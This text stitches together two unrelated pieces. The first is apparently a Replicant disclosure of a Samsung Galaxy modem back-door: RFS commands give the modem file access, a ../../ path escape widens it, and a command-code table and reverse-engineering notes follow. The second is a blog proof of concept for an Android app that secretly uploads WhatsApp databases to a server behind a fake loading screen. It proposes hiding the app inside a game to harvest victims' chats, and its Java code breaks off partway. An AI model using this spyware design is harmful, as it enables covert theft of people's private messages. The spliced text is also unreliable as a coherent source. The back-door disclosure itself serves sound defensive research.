This back-door is present in most proprietary Android systems running on the affected Samsung Galaxy devices, including the ones that are shipped with the devices. However, when Replicant is installed on the device, this back-door is not effective: Replicant does not cooperate with back-doors.

Abstract

Samsung Galaxy devices running proprietary Android versions come with a back-door that provides remote access to the data stored on the device.In particular, the proprietary software that is in charge of handling the communications with the modem, using the Samsung IPC protocol, implements a class of requests known as RFS commands, that allows the modem to perform remote I/O operations on the phone's storage. As the modem is running proprietary software, it is likely that it offers over-the-air remote control, that could then be used to issue the incriminated RFS messages and access the phone's file system.

Known affected devices

The following table shows which devices are known to contain this back-door as part of the software they ship with.Please contact us if you know about some other device that could be concerned by this back-door or have more information on one of the listed devices!

Device

Incriminated program running as root

SELinux enabled

libsamsung-ipc support

Replicant support

Nexus S (I902x)

No

Possible with Android 4.2 and later

Yes

Yes

Galaxy S (I9000)

Yes

?

Yes

Yes

Galaxy S 2 (I9100)

No

?

Yes

Yes

Galaxy Note (N7000)

No

?

Yes

Yes

Galaxy Nexus (I9250)

No

Possible with Android 4.2 and later

Yes

Yes

Galaxy Tab 2 7.0 (P31xx)

No

?

Yes

Yes

Galaxy Tab 2 10.1 (P51xx)

No

?

Yes

Yes

Galaxy S 3 (I9300)

No

?

Yes

Yes

Galaxy Note 2 (N7100)

No

?

Yes

Yes

Back-door sample

In order to investigate the back-door and check what it actually lets the modem do, some code was added to the modem kernel driver to make it craft and inject requests using the incriminated messages and check its results.

This demonstrates that the incriminated software will execute these operations upon modem request. Note that the software implementation appends /efs/root/ to the provided path, but it's fairly simple to escape that path and request any file on the file system (using ../../). Note that the files are opened with the incriminated software's user permissions, which may be root on some devices. On other cases, its runs as an unprivileged user that can still access the user's personal data (/sdcard). Finally, some devices may implement SELinux, which considerably restricts the scope of possible files that the modem can access, including the user's personal data (/sdcard/).

The following sample was obtained on a Galaxy Note 2 (N7100) running CyanogenMod 10.1.3.

Sample file

The sample file used for this demonstration (/data/radio/test) is filled with "Hello World!":

Analysis

The following analysis was conducted using the libsec-ril.so binary file (the incriminated proprietary software) as extracted from the CyanogenMod 10.1.3 system zip for the Galaxy S 3 (I9300), from location system/lib/libsec-ril.so.

The developers involved in the present analysis did not ever agree to any sort of End User License Agreement that explicitly prohibited the reverse engineering and decompiling operations of the incriminated binary. The reverse engineering operations that led to these findings originally took place during the development of Samsung-RIL, the free software replacement for the incriminated program. Hence, we believe these operations were conducted for the sole purpose of interoperability and not with the intent of creating a competing product. As the involved developers were based in Europe, we believe the legality of these operations is granted by article 6 of the 1991 EU Computer Programs Directive.

As a first approach, using the strings tool against the incriminated program reveals numerous suspicious command names that appear to be Samsung IPC protocol definitions:

Taking a closer look at these functions, using the objdump decompiler, reveals that they are actually called from the ipc_recv_rfs function, itself called fromprocess_ipc_notify_message, which appears to handle the received messages from the modem. Hence we can deduct that the incriminated functions are actually called upon modem request.

Taking a closer look at one of these functions, e.g. RxRFS_ReadFile reveals multiple calls to the Procedure Linkage Table (PLT). Hence we believe these calls are linked functions from the libc library, especially I/O-related functions such as (in a general manner) open, close, read, write, etc.

Samsung IPC RFS messages

The following table associates each Samsung IPC RFS message with its hexadecimal command value:

Message

Hexadecimal command value

IPC_RFS_NV_READ_ITEM

0x01

IPC_RFS_NV_WRITE_ITEM

0x02

IPC_RFS_READ_FILE

0x03

IPC_RFS_WRITE_FILE

0x04

IPC_RFS_LSEEK_FILE

0x05

IPC_RFS_CLOSE_FILE

0x06

IPC_RFS_PUT_FILE

0x07

IPC_RFS_GET_FILE

0x08

IPC_RFS_RENAME_FILE

0x09

IPC_RFS_GET_FILE_INFO

0x0a

IPC_RFS_UNLINK_FILE

0x0b

IPC_RFS_MAKE_DIR

0x0c

IPC_RFS_REMOVE_DIR

0x0d

IPC_RFS_OPEN_DIR

0x0e

IPC_RFS_READ_DIR

0x0f

IPC_RFS_CLOSE_DIR

0x10

IPC_RFS_OPEN_FILE

0x11

IPC_RFS_FTRUNCATE_FILE

0x12

IPC_RFS_GET_HANDLE_INFO

0x13

IPC_RFS_CREATE_FILE

0x14

IPC_RFS_NV_WRITE_ALL_ITEM

0x15

Legitimacy

The incriminated RFS messages of the Samsung IPC protocol were not found to have any particular legitimacy nor relevant use-case. However, it is possible that these were added for legitimate purposes, without the intent of doing harm by providing a back-door. Nevertheless, the result is the same and it allows the modem to access the phone's storage.

However, some RFS messages of the Samsung IPC protocol are legitimate (IPC_RFS_NV_READ_ITEM and IPC_RFS_NV_WRITE_ITEM) as they target a very precise file, known as the modem's NV data. There should be no particular security concern about these as both the proprietary implementation and its free software replacement strictly limit actions to that particular file.

Areas of work

Some work could be done in order to handle that back-door:

Samsung-RIL could show a message alerting the user when the back-door is being used, including the requested path and asking the user to save logs and contact us.

Alternatively, the kernel could block the incriminated RFS requests and keep a trace of them in the logs for the record. That option would work for CyanogenMod, where the incriminated proprietary blob is still used.

Notes

Our free software replacement for the incriminated binary is Samsung-RIL which relies on libsamsung-ipc: both are used in Replicant.

The affected devices have modems that use the Samsung IPC protocol, mostly Intel XMM6160 and Intel XMM6260 modems. Note that despite this back-door, the devices using these modems are most likely to have good modem isolation, compared to other devices using Qualcomm platforms. Bear in mind that this back-door is implemented in software and can easily be removed by installing a free replacement for the incriminated software, for instance by installing Replicant. Hence, we don't consider the incriminated devices to be inherently bad targets because of this back-door.

Tuesday, March 11, 2014

"Is it possible to upload and read the WhatsApp chats from another Android application?"

With this question my brother and I started an interesting conversation which ended in underneath proof of concept. The tldr answer is: "Yes, that is possible".

The WhatsApp database is saved on the SD card which can be read by any Android application if the user allows it to access the SD card. And since majority of the people allows everything on their Android device, this is not much of a problem.

So what do we need to steal someones Whatsapp database? First we need a place to store the database. I used this webserver with a simple php script.

Make sure you configure you php.ini so that you can upload (large) files.

1

2

3

4

5

...

file_uploads=On

post_max_size=32M

upload_max_filesize=32M

Next thing we need is an Android application which uploads the WhatsApp database to the website. I created a new default project in Eclipse and made a couple of changes. First of all we need some extra rights to access the SD card and to upload to the internet. To do this I added some lines to the AndroidManifest.xml file.

For the layout I used the default layout which Eclipse creates, but I moved the TextView to the center and increased the text size. The upload magic happens before you see the layout, for this proof of concept this activity_main.xml is good enough.

So far, nothing exciting yet, the real excitement comes in the MainActivity.java file. We will try to upload 3 files:

/WhatsApp/Databases/msgstore.db

/WhatsApp/Databases/wa.db

/WhatsApp/Databases/msgstore.db.crypt

In newer versions WhatsApp decided to do some crypto magic on their database (msgstore.db.crypt), so it is more secure. It is still possible to read chats from this database, but more on that later. The msgstore.db and wa.db are the old unencrypted databases of WhatsApp.

During the upload of the WhatsApp database files we will display a simple Loading screen, so people think the application is doing something interesting in the background.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

packagebb.security.whatsappupload;

/*

* This application is for testing purposes only.

* Use of this application is at your own risk.

*/

importjava.io.DataInputStream;

importjava.io.DataOutputStream;

importjava.io.File;

importjava.io.FileInputStream;

importjava.io.IOException;

importjava.net.HttpURLConnection;

importjava.net.MalformedURLException;

importjava.net.URL;

importandroid.os.AsyncTask;

importandroid.os.Bundle;

importandroid.os.Environment;

importandroid.app.Activity;

importandroid.app.ProgressDialog;

importandroid.util.Log;

importandroid.view.Menu;

publicclassMainActivityextendsActivity{

//A ProgressDialog object

privateProgressDialog progressDialog;

@Override

protectedvoidonCreate(Bundle savedInstanceState){

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

newUploadWhatsApp().execute();

}

@Override

publicbooleanonCreateOptionsMenu(Menu menu){

// Inflate the menu; this adds items to the action bar if it is present.

By doing the magic in the loading screen you can also add this code to a real application instead of the Hello World message you see now. Combine it with something like FlappyBird and a description how to install applications from unknown sources and you can harvest a lot of databases.

The WhatsAppp database is a SQLite3 database which can be converted to Excel for easier access. Lately WhatsApp is using encryption to encrypt the database, so it can no longer be opened by SQLite. But we can simply decrypt this database using a simple python script. This script converts the crypted database to a plain SQLite3 database (got key from Whatsapp Xtract).

So, we can conclude that every application can read the WhatsApp database and it is also possible to read the chats from the encrypted databases. Facebook didn't need to buy WhatsApp to read your chats.